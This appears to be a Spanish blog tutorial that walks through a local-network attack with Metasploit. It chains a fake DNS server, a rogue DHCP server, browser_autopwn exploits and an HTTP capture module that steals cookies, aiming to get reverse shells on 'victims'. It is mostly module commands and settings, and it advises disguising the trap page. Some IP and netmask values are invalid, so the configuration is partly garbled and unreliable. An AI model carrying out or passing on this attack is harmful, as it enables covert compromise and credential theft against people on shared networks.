sábado, 8 de junio de 2013

Browser autopwn & fake DNS & DHCP spoofing con Metasploit

##Se ve que google no quiere que suba las capturas de pantalla que tenía pensadas. Cuando me deje edito y las planto en el texto.

Continuando con Metasploit, hoy voy a contar como realizar un ataque efectivo dentro de un entorno de red local. Para ello conseguiremos redirigir a las víctimas a nuestro servidor apache previamente infectado con una carga de exploits,  que se ejecutarán en nuestro objetivo u objetivos. Para lograrlo cargaremos desde metasploit un servidor DHCP que se encargará de dar las direcciones IP falseando la ruta del DNS a nuestro servidor. También usaremos metasploit para montar el DNS envenenado que redirigirá las solicitudes a nuestro apache.
Primero, y para estar seguros de que contamos con los últimos exploits públicos y añadidos a Metasploit, actualizamos la aplicación desde la terminal:
sudo msfupdate

Cuando se descarguen e instalen las actualizaciones, si las hay, entramos en la consola de msf:
sudo msfconsole

Ahora procedemos a crear el DNS falso entrando al módulo propio de metasploit con:

use auxiliary/server/fakedns

Ahora  teclearemos en comando info para ver las opciones del módulo. En principio, no cambiaremos nada salvo TARGETHOST (set TARGETHOST)  dejando éstas opciones:
SRVHOST - 0.0.0.0 #Esto nos indica el servidor sobre el que funcionará el módulo DNS

SRVPORT - 53 #Valor del puerto en el que escuchará el demonio
TARGETACTION - bypass #Aquí se concreta el método de actuación del demonio. Este puede ser bypass, para dar una ruta válida a la dirección escrita en TARGETDOMAIN, o fake para la acción contraria (resolver solamente las aparecidas en TARGETDOMAIN)
TARGETDOMAIN - google.com #Rutas para resolver (o no) según el valor de TARGETACTION
TARGETHOST - 192.168.1.87 # Esta es la dirección de nuestra máquina en la que activaremos el servidor apache envenenado, la vuestra probablemente sea otra.

Con todo esto configurado solo nos queda dar la orden de run para que se inicie el demonio.
Una vez activado el DNS entraremos en el módulo del DHCP que, si todo va bien, será mas rápido que el propio router y falseará la tabla de direcciones dando como DNS nuestro demonio envenenado.

use auxiliary/server/dhcp
info

Usando el comando set dejaremos las opciones de la siguiente forma:

DHCPIPEND - 192.168.1.350  #Esta variable no es absolutamente necesaria no obstante nos marcará con facilidad que máquinas están envenenadas y cuales siguen siendo legítimas.
DHCPIPSTART - 192.168.300 #Con esto definimos el rango de IPs que empezará a dar nuestro demonio.
DNSSERVER - 192.168.1.87 #La dirección de nuestro servidor en el que escucha el DNS falso
NETMASK - 255.255.255.1 # Aquí indicamos el valor de la máscara de nuestra subred.
ROUTER - 192.168.1.1 #La dirección de salida de las peticiones resueltas.
SRVHOST - 192.168.1.87 #Dirección del host sobre el que trabajará el demonio DHCP

Con esto configurado solo nos queda dar la orden de ejecución run y pasar a configurar el módulo browser autopwn.

use auxiliary/server/browser_autopwn
info

Con el comando set de nuevo, cambiamos tres valores:

LHOST - 192.168.1.87 #La dirección local para configurar los payloads de cada exploit.
SRVPORT - 8080 #Puerto de escucha del módulo, que sea distinto al 80 ya que este lo ocuparemos en el siguiente paso.
URIPATH - / #La Ubicación de los exploits dentro del demonio de apache que creará el módulo.

Mandamos la activación con un run y nuestra terminal se empezará a llenar de lineas que nos indican los exploits activados escondidos en nuestro servidor http. Hay muchos que cargar y le costará un rato.
 El último paso requiere llamar a un módulo que se encargará de escuchar en el puerto 80 de nuestra máquina, capturando las cookies de la víctima a base de falsear autenticaciones de ciertas páginas web (definidas en /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/) y redirigir la solicitud a los distintos exploits que cargamos con browser autoPWN. Llamamos al módulo

use auxiliary/server/capture/http
info

Con la orden set definimos las valores:
AUTOPWN_HOST - 192.168.1.87 #La dirección IP en la que corre browser autoPWN
AUTOPWN_PORT - 8080 #Puerto
AUTOPWN_URI - / #La dirección dentro del servidor http.

Activamos el módulo con un run y tenemos nuestra trampa preparada y aguardando nuevas víctimas.
Como cualquier ataque que falsea el DHCP en una red local, la metodología es la siguiente. Tarde o temprano un nuevo cliente se autenticará en la red y, salvo que tenga normas de no solicitar una dirección IP al servidor DHCP legítimo (es decir, el del router u otra máquina de la red) mandará una solicitud ARP a la dirección de broadcast preguntando dónde está el servidor DHCP. Lo normal sería que solo una máquina contestase a ésta petición y comenzase una negociación cliente-servidor. Pero cuando hay dos servidores DHCP ante una petición, el cliente negociará siempre con el que menos tiempo tarde en contestar. Así pues se inicia una carrera entre el servidor legítimo y nuestro DHCP spoofeado. Normalmente, cuando competimos con uno alojado en un router, gracias a la sencillez del módulo de Metasploit y a que, en la mayoría de los casos, nuestro procesador estará menos atareado y será mas eficiente, seremos nosotros quienes contestemos primero a la solicitud.
El módulo DHCP falseado otorgará una dirección IP, una máscara de red y una puerta de enlace tan legítimas y válidas como las que hubiera podido dar el servidor real. Lo que cambiamos es la dirección DNS (Domain Name Resolution, que como bien sabéis se encarga de "traducir" las direcciones tipo google.com, ebay.es... que por si solas no significan nada a la hora de enrutar los paquetes de datos,  por direcciones IPv4 o IPv6 legibles y necesarias para la capa de red, según el modelo OSI.) por la dirección de nuestra máquina.
¿Qué conseguimos con esto? Pues podemos dar direcciones IP falsas para el nombre que nos pide el cliente, haciendo, por ejemplo, que si una víctima, teclea en su navegador http://www.cristianos.es para acceder a su foro favorito a despotricar sobre la clonación de embriones humanos con fines médicos y defender las teorías de creacionismo y el sexo con fines de procreación, nuestro DNS envenenado le diga que la IP que está buscando es, por ejemplo, esta: 64.88.241.153
Pero nosotros como atacantes no nos quedamos ahi. Nuestra intención es redirigir a la víctima para que entre a nuestro servidor web así que las direcciones falseadas darán nuestra IP en la red local.
¿Qué pasa si entran? Pues que hemos cargado un buen puñado de exploits dentro de nuestro host esperando que nuestra incauta víctima sea redirigida hacia ellos gracias a nuestro programilla de captura http que está corriendo en el puerto 80. Cuando alguien entra en nuestra página web, se encuentra con esto mientras los exploits se van ejecutando en su sistema.

Que si bien no es muy agradable ni inspira mucha confianza, podemos afilar  nuestras armas editando el fichero html /opt/metasploit/apps/pro/msf3/data/exploits/capture/http/index.html para dar la impresión de un error o un mensaje de espera que no haga sospechar a la víctima.
Si el ataque tiene éxito, es decir, si alguno de los exploits consigue vulnerar el sistema y ejecutar su payload, se creará una conexión víctima-atacante (reverse TCP)que podremos vislumbrar con el comando:
sessions
desde la consola de metasploit.
Todo es cuestión de tender nuestro cepo y esperar. Requiere, como casi todo en el mundo de la informática, paciencia. Mucha paciencia.

¡Saludos y hasta otra!